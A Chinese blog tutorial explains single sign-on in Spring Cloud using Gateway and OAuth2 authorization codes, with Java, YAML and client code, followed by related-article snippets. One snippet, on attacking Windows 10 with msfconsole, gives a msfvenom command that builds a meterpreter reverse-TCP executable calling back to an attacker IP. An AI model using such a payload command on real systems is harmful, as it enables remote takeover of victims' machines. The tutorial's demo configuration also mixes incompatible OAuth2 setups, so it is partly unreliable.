SpringCloud之SSO单点登录-基于Gateway和OAuth2的跨系统统一认证和鉴权详解

单点登录(SSO)是一种身份验证过程,允许用户通过一次登录访问多个系统。本文将深入解析单点登录的原理,并详细介绍如何在Spring Cloud环境中实现单点登录。通过具体的架构图和代码示例,我们将展示SSO的工作机制和优势,帮助开发者更好地理解和应用这一技术。

在这里插入图片描述


一、单点登录简介

1、单点登录介绍

单点登录(Single Sign-On,简称SSO)是一种认证机制,允许用户通过一次身份验证后,访问多个相互信任的应用系统。它简化了用户的操作,提高了用户体验,同时也降低了管理多个认证系统的复杂性。在现代分布式系统和微服务架构中,SSO尤为重要,因为它可以减少重复的登录操作,统一用户认证入口,提高系统的安全性和可管理性。

2、单点登录原理

SSO的基本原理是通过共享认证状态来实现对多个系统的访问。其核心步骤包括:

  • 用户认证:用户在SSO认证中心进行登录,认证中心验证用户身份后生成一个Token。
  • Token共享:用户访问其他受信任的应用系统时,携带这个Token。应用系统通过验证Token来确认用户身份。
  • 会话管理:SSO系统管理用户会话状态,确保用户在有效期内不需要重复登录。

3、单点登录架构图

在这里插入图片描述


二、单点登录实现

在Spring Cloud环境中实现单点登录需要考虑以下几个步骤:

步骤描述
1. 建立认证中心创建一个专门的认证服务,负责用户登录和Token生成。可以使用Spring Security和OAuth2来实现这一功能。
2. 配置网关服务通过Spring Cloud Gateway或Zuul来实现请求路由和Token验证。
3. 应用服务集成将各个应用服务与认证中心集成,确保每个请求都经过Token验证。

1. 建立认证中心

认证中心负责用户认证和Token生成。可以使用Spring Security和OAuth2来实现认证中心。

OAuth2 协议介绍:

OAuth2 协议是一种授权框架,允许第三方应用在用户授权下,访问用户的资源而无需共享用户的凭据,常用于社交媒体登录等场景。

OAuth2 协议一共支持四种不同的授权模式:

  • 授权码模式:大多数第三方平台登录功能都采用这种模式,因其具有较高的安全性。
  • 简化模式:简化模式不需要第三方服务器(客户端)的参与,直接在浏览器中向授权服务器申请令牌(token)。如果网站是纯静态页面,可以采用这种方式。
  • 密码模式:密码模式要求用户将用户名和密码直接提供给客户端,客户端再使用这些信息向授权服务器申请令牌(token)。这种模式需要用户对客户端有高度的信任,例如客户端应用和服务器提供商是同一家公司。
  • 客户端模式:客户端模式是指客户端以自己的名义而非用户的名义向授权服务器申请授权。严格来说,客户端模式并不属于OAuth协议的典型解决方案,但在某些移动端授权服务器上使用这种模式对开发者来说非常方便。

最常用的是授权码模式,也是我们这里使用的模式

OAuth2 授权码模式示意图:

为了更清晰地展示授权码模式的每个环节,我们可以使用Mermaid将流程分为几个部分。以下是分成四张图分别介绍每个环节的示例代码:

  • Step 1: 用户请求资源并重定向到授权服务器

在这里插入图片描述

  • Step 2: 用户同意授权并获取授权码

在这里插入图片描述

  • Step 3: 客户端交换授权码获取访问令牌

在这里插入图片描述

  • Step 4: 客户端使用访问令牌访问资源服务器

在这里插入图片描述

① 添加OAuth2依赖

给项目添加OAuth2依赖项:

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-oauth2-client</artifactId>
</dependency>
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-oauth2-resource-server</artifactId>
</dependency>
<dependency>
    <groupId>org.springframework.security</groupId>
    <artifactId>spring-security-oauth2-jose</artifactId>
</dependency>
② 配置OAuth2认证服务器

创建并配置OAuth2认证服务器:

@Configuration
@EnableAuthorizationServer
public class AuthorizationServerConfig extends AuthorizationServerConfigurerAdapter {

    @Autowired
    private AuthenticationManager authenticationManager;

    @Override
    public void configure(ClientDetailsServiceConfigurer clients) throws Exception {
        clients.inMemory()
                .withClient("client-id")
                .secret("{noop}client-secret")
                .authorizedGrantTypes("authorization_code", "refresh_token", "password")
                .scopes("read", "write")
                .redirectUris("http://localhost:8081/login/oauth2/code/custom");
    }

    @Override
    public void configure(AuthorizationServerEndpointsConfigurer endpoints) throws Exception {
        endpoints.authenticationManager(authenticationManager)
                 .tokenStore(new InMemoryTokenStore());
    }
}
③ 配置Spring Security

创建并配置Spring Security:

@Configuration
@EnableWebSecurity
public class SecurityConfig extends WebSecurityConfigurerAdapter {

    @Override
    protected void configure(AuthenticationManagerBuilder auth) throws Exception {
        auth.inMemoryAuthentication()
            .withUser("user")
            .password("{noop}password")
            .roles("USER");
    }

    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http.authorizeRequests()
            .anyRequest().authenticated()
            .and()
            .formLogin().permitAll();
    }

    @Bean
    @Override
    public AuthenticationManager authenticationManagerBean() throws Exception {
        return super.authenticationManagerBean();
    }
}

2. 配置网关服务

网关服务负责路由请求和验证Token。我们使用Spring Cloud Gateway来实现。

① 添加网关服务依赖

给项目添加网关服务依赖项:

<dependency>
    <groupId>org.springframework.cloud</groupId>
    <artifactId>spring-cloud-starter-gateway</artifactId>
</dependency>
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-oauth2-client</artifactId>
</dependency>
② 增加Gateway配置

在application.yml中添加Gateway配置:

spring:
  cloud:
    gateway:
      routes:
        - id: user-service
          uri: lb://USER-SERVICE
          predicates:
            - Path=/user/**
          filters:
            - TokenRelay
  security:
    oauth2:
      client:
        provider:
          custom:
            authorization-uri: http://localhost:8080/oauth/authorize
            token-uri: http://localhost:8080/oauth/token
            user-info-uri: http://localhost:8080/userinfo
            jwk-set-uri: http://localhost:8080/.well-known/jwks.json
        registration:
          custom:
            client-id: client-id
            client-secret: client-secret
            authorization-grant-type: authorization_code
            redirect-uri: "{baseUrl}/login/oauth2/code/{registrationId}"
            scope: read,write

3. 应用服务集成

每个微服务都需要配置为资源服务器,以确保每个请求都经过Token验证。

① 给每个服务添加依赖

给每个服务添加OAuth2资源服务器依赖项:

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-oauth2-resource-server</artifactId>
</dependency>
② 给每个服务添加配置

在application.yml中添加OAuth2资源服务器配置:

spring:
  security:
    oauth2:
      resourceserver:
        jwt:
          issuer-uri: http://localhost:8080/
③ 配置安全策略

创建并配置Spring Security以确保所有请求都经过Token验证:

@Configuration
@EnableWebSecurity
public class ResourceServerConfig extends WebSecurityConfigurerAdapter {

    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http.authorizeRequests()
            .antMatchers("/public/**").permitAll()
            .anyRequest().authenticated()
            .and()
            .oauth2ResourceServer().jwt();
    }
}

4、编写单点登录接口

在实现单点登录的过程中,涉及到客户端应用向认证中心请求认证并获取Token,然后将Token传递给各个微服务以进行资源访问。以下是单点登录调用代码的详细步骤,包括获取授权码、请求访问令牌以及使用令牌访问受保护资源的示例代码。

① 获取授权码

首先,客户端应用需要引导用户到SSO认证中心进行登录,并获取授权码。
可以通过浏览器重定向实现:

@GetMapping("/login")
public void login(HttpServletResponse response) throws IOException {
    String authorizationUri = "http://localhost:8080/oauth/authorize";
    String clientId = "client-id";
    String redirectUri = "http://localhost:8081/callback";
    String responseType = "code";
    String scope = "read write";

    String authUrl = authorizationUri + "?response_type=" + responseType
            + "&client_id=" + clientId
            + "&redirect_uri=" + URLEncoder.encode(redirectUri, "UTF-8")
            + "&scope=" + URLEncoder.encode(scope, "UTF-8");

    response.sendRedirect(authUrl);
}
② 获取访问令牌

用户在认证中心成功登录后,认证中心会重定向回客户端应用,并附带授权码。
客户端应用需要使用这个授权码来请求访问令牌:

@GetMapping("/callback")
public String callback(@RequestParam("code") String code, Model model) {
    String tokenUri = "http://localhost:8080/oauth/token";
    String clientId = "client-id";
    String clientSecret = "client-secret";
    String redirectUri = "http://localhost:8081/callback";

    RestTemplate restTemplate = new RestTemplate();

    HttpHeaders headers = new HttpHeaders();
    headers.setContentType(MediaType.APPLICATION_FORM_URLENCODED);
    headers.setBasicAuth(clientId, clientSecret);

    MultiValueMap<String, String> params = new LinkedMultiValueMap<>();
    params.add("grant_type", "authorization_code");
    params.add("code", code);
    params.add("redirect_uri", redirectUri);

    HttpEntity<MultiValueMap<String, String>> request = new HttpEntity<>(params, headers);

    ResponseEntity<Map> response = restTemplate.exchange(tokenUri, HttpMethod.POST, request, Map.class);

    Map<String, Object> responseBody = response.getBody();
    String accessToken = (String) responseBody.get("access_token");

    model.addAttribute("accessToken", accessToken);

    return "home";
}
③ 使用访问令牌访问受保护资源

获取访问令牌后,客户端应用可以使用这个令牌来访问受保护的资源。
以下是如何使用RestTemplate访问受保护资源的示例代码:

@GetMapping("/resource")
public String getResource(@RequestParam("accessToken") String accessToken, Model model) {
    String resourceUri = "http://localhost:8082/resource";

    RestTemplate restTemplate = new RestTemplate();

    HttpHeaders headers = new HttpHeaders();
    headers.setBearerAuth(accessToken);

    HttpEntity<String> request = new HttpEntity<>(headers);

    ResponseEntity<String> response = restTemplate.exchange(resourceUri, HttpMethod.GET, request, String.class);

    String resource = response.getBody();

    model.addAttribute("resource", resource);

    return "resource";
}

5、示例项目结构

示例项目结构如下:

/sso-auth-server
  ├── src/main/java/com/example/auth
  │   ├── AuthorizationServerConfig.java
  │   ├── SecurityConfig.java
  │   └── Application.java
  └── src/main/resources
      └── application.yml

/sso-gateway
  ├── src/main/java/com/example/gateway
  │   └── Application.java
  └── src/main/resources
      └── application.yml

/sso-user-service
  ├── src/main/java/com/example/user
  │   ├── ResourceServerConfig.java
  │   └── Application.java
  └── src/main/resources
      └── application.yml

/sso-client
  ├── src/main/java/com/example/client
  │   ├── SsoController.java
  │   └── Application.java
  └── src/main/resources
      └── application.yml

这个结构包括四个主要部分:

  • 认证服务器 (sso-auth-server):负责用户认证和Token生成。
  • 网关服务 (sso-gateway):负责路由请求和Token验证。
  • 用户服务 (sso-user-service):作为资源服务器,提供受保护的资源。
  • 客户端应用 (sso-client):负责引导用户登录、获取Token并访问受保护资源。

三、单点登录总结

1、单点登录的优势

优势描述
用户体验提升用户只需一次登录即可访问所有系统,避免了重复登录的繁琐操作。
安全性增强统一的认证入口和集中式管理可以提高系统的安全性,减少各个系统独立管理认证信息的风险。
管理简化集中管理用户身份信息和认证逻辑,简化了系统的维护和管理工作。
提高生产力减少了用户在不同系统之间切换的时间,进而提升了整体工作效率。
降低开发成本开发者只需实现一次认证和授权逻辑,可以节省开发和维护多个认证系统的成本。
统一用户管理用户数据和权限集中存储和管理,使得用户信息更新和权限变更更加便捷高效。
改善审计和合规性集中的认证和授权机制有助于监控用户行为,满足法规和审计的要求。
便于集成扩展可以方便地集成新的应用系统,无需为每个新系统单独配置登录和认证流程。

2、单点登录总结

单点登录(Single Sign-On, SSO)在现代分布式系统中扮演着重要角色,它不仅提高了用户体验,还增强了系统的安全性。通过Spring Cloud实现SSO,可以充分利用Spring的生态系统和强大的功能,实现高效的身份认证和授权管理。

在实际应用中,开发者应根据具体需求和系统架构选择合适的实现方案,并不断优化以提高系统性能和安全性。以下是一些关键点:

  • 技术选型:选择适合业务需求的SSO实现方式,如基于OAuth2、JWT或CAS等。
  • 安全策略:确保数据传输和存储的安全,采用加密技术保护用户信息,防范攻击。
  • 性能优化:通过负载均衡、缓存和异步处理等技术提升系统的响应速度和稳定性。
  • 用户管理:集中管理用户身份信息,确保用户数据的一致性和准确性。
  • 日志和监控:实施全面的日志记录和监控机制,及时发现和处理潜在问题,确保系统的正常运行。
  • 容错机制:设计健壮的容错机制,确保系统在出现故障时能够快速恢复。

通过以上措施,可以有效提升单点登录系统的整体表现,满足企业的业务需求和安全要求。

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/657183.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Excel单元格格式无法修改的原因与解决方法

Excel单元格格式无法更改可能由多种原因造成。以下是一些可能的原因及相应的解决方法&#xff1a; 单元格或工作表被保护&#xff1a; 如果单元格或工作表被设置为只读或保护状态&#xff0c;您将无法更改其中的格式。解决方法&#xff1a;取消单元格或工作表的保护。在Excel中…

【接口测试_04课_Jsonpath断言、接口关联及加密处理】

一、Jasonpath的应用 JsonPath工具网站&#xff1a;JSONPath解析器 - 一个工具箱 - 好用的在线工具都在这里&#xff01; 1、JSONPath的手写与获取 手写JSONPath 1、 $ &#xff08;英文美元符号&#xff09;代表外层的{} . &#xff08;英文句号&#xff09;表示当前…

分频器对相位噪声影响

本文我们将分析输入时钟被N分频之后的输出时钟的相位噪声如何变化。首先理想分频器的意思是我们假设分频器不会引入附加相位噪声&#xff0c;并且输入和输出时钟之间没有延时。我们假设每一个输出边沿的位置都完美的与输入边沿相对齐&#xff0c;这样便于分析。由于每N个输入时…

Java内存空间

Java内存空间划分 Java虚拟机在执行Java程序的过程中会把他管理的内存划分为若干个不同的数据区域&#xff0c;如图所示1.7和1.8两个版本的Java内存空间划分。 JDK1.7: JDK1.8: 线程私有&#xff1a; 程序计数器虚拟机栈本地方法栈 线程共享 &#xff1a; 堆方法区直接内…

Android项目实战 —— 手把手教你实现一款本地音乐播放器Dora Music

今天带大家实现一款基于Dora SDK的Android本地音乐播放器app&#xff0c;本项目也作为Dora SDK的实践项目或使用教程。使用到开源库有[https://github.com/dora4/dora] 、[https://github.com/dora4/dcache-android] 等。先声明一点&#xff0c;本项目主要作为框架的使用教程&a…

SALOME源码分析:MDF框架

SALOME是由EDF、CEA、Open CASCADE等联合开发的开源CAE集成平台。 作为一款开源CAE软件集成平台&#xff0c;SALOME以其现代化的架构设计、良好的扩展性&#xff0c;提供了几何建模、网格生成、数据同化、求解器调用、后处理可视化、流程管理、作业管理等方面的支持。而这一切…

【源码】6语言跨境电商PHP源码 精美UI+功能强大开源无授权

6语言跨境电商PHP源码 精美UI功能强大开源无授权 英文&#xff0c;简体中文&#xff0c;繁体中文&#xff0c;日语、泰语、越南语6语言。功能非常强大&#xff0c;UI也很漂亮的跨境电商源码。基于国外成熟电商系统二开的源码&#xff0c;带POS系统。 系统采用Laravel框架开发…

长安杯2021年wp

背景&#xff1a; 2021年4月25日&#xff0c;上午8点左右&#xff0c;警方接到被害人金某报案&#xff0c;声称自己被敲诈数万元&#xff1b;经询问&#xff0c;昨日金某被嫌疑人诱导裸聊&#xff0c;下载了某“裸聊”软件&#xff0c;导致自己的通讯录和裸聊视频被嫌疑人获取…

(四十八)第 7 章 图(图的数组(邻接矩阵)存储)

1. 背景说明 2. 示例代码 1) errorRecord.h // 记录错误宏定义头文件#ifndef ERROR_RECORD_H #define ERROR_RECORD_H#include <stdio.h> #include <string.h> #include <stdint.h>// 从文件路径中提取文件名 #define FILE_NAME(X) strrchr(X, \\) ? strrch…

msfconsole攻击win10及简陋版

kali 攻击机IP 192.168.1.19 win10 肉鸡 192.168.1.15 使用 msfvenom 生成木马 msfvenom -p windows/meterpreter/reverse_tcp lhost192.168.1.19 lport1234 -f exe >muma.exe 接下来把木马复制到 /var/www/html下 开启 service apache2 start 即可下载&#xff0c;需要做…

深入分析 Android Activity (三)

文章目录 深入分析 Android Activity (三)1. Activity 的配置变化处理1.1 处理配置变化 2. Activity 的存储和恢复状态2.1 保存状态2.2 恢复状态 3. Activity 与 Fragment 的通信3.1 通过接口进行通信3.2 通过 ViewModel 进行通信 4. Activity 的窗口管理和视图层次结构4.1 Dec…

联邦和反射器实验

拓扑图 一.实验要求 1.AS1存在两个环回&#xff0c;一个地址为192.168.1.0/24&#xff0c;该地址不能在任何协议中宣告 AS3存在两个环回&#xff0c;一个地址为192.168.2.0/24&#xff0c;该地址不能在任何协议中宣告 AS1还有一个环回地址为10.1.1.0/24&#xff…

汽车大灯中擎耀智能控制器在车灯智能化配置下的创新与分析

随着科技的飞速发展&#xff0c;汽车工业也在不断地进行着革新。其中&#xff0c;车灯作为汽车的重要组成部分&#xff0c;其智能化配置已经成为汽车行业的一大趋势。这种趋势不仅为消费者带来了更加安全、便捷的驾驶体验&#xff0c;同时也为商家提供了丰富的商业机会。汽车工…

Vue3+vite项目中使用mock模拟接口

安装依赖 分别安装vite-plugin-mock跟mockjs两个插件 npm install -D vite-plugin-mock mockjs vite.config.ts中添加配置&#xff0c;主要是红色标记的配置 注意此处如果配置出错可能是vite-plugin-mock依赖的版本有问题&#xff0c;重新安装一下依赖指定版本即可&#xf…

httpJVM

目录 HTTPS如何保证安全 1&#xff09;引入非对称加密 2&#xff09;引入非对称加密 3.中间人攻击 4.解决中间人攻击 JVM 1.JVM内存划分 2.JVM类加载过程 八股内容 3.JVM中的垃圾回收机制 释放垃圾的策略 1.标记-清除 2.复制算法 3.标记-整理 分代回收 HTTPS如何…

《老挝语翻译通》App彻底解决老挝文字OCR识别问题,支持老挝中文翻译、图片识别和语音识别翻译,还支持老挝语学习背单词!

在现今这个全球化的世界中&#xff0c;翻译工具已经成为了我们生活中不可或缺的一部分。对于出国旅行或者需要到老挝工作的人来说&#xff0c;老挝语翻译通App将是你最得力的伙伴。 丰富的功能&#xff0c;简洁的页面 老挝语翻译通App是一款专为广大需要使用老挝语、汉语的人们…

Monaco-Editor在Vue中使用(实现代码编辑与diff代码比较)--类似vscode代码编辑器

Monaco-Editor 是一个由 Microsoft 开发的 Web 代码编辑器&#xff0c;它是 Visual Studio Code 的浏览器版本。在 Vue 项目中集成 Monaco-Editor 可以提供代码编辑、语法高亮、智能提示等功能 效果&#xff1a; 1、安装使用&#xff0c;最好安装指定版本&#xff0c;我是 vue…

【Unity脚本】Unity中如何按类型查找游戏对象(GameObject)

【知识链】Unity -> 脚本系统 -> 访问游戏对象 -> 按类型访问游戏对象摘要&#xff1a;本文介绍了Unity中按类型查找游戏对象&#xff08;GameObject&#xff09;的五种方法&#xff0c;并提出了使用这些方法的最佳实践。 本文目录 一、访问游戏对象的方法二、如何按…

Notepad++不显示CRLF的方法

View -> Show Symbol -> 去掉勾选 Show All Characters

详解makefile中的foreach

在 Makefile 中&#xff0c;foreach 函数用于迭代处理一个以空格分隔的列表&#xff0c;并针对列表中的每个元素执行相同的操作。这个函数通常用于循环处理一组变量或文件名&#xff0c;并执行相同的规则或命令。 语法&#xff1a; makefile Copy Code $(foreach var, list, …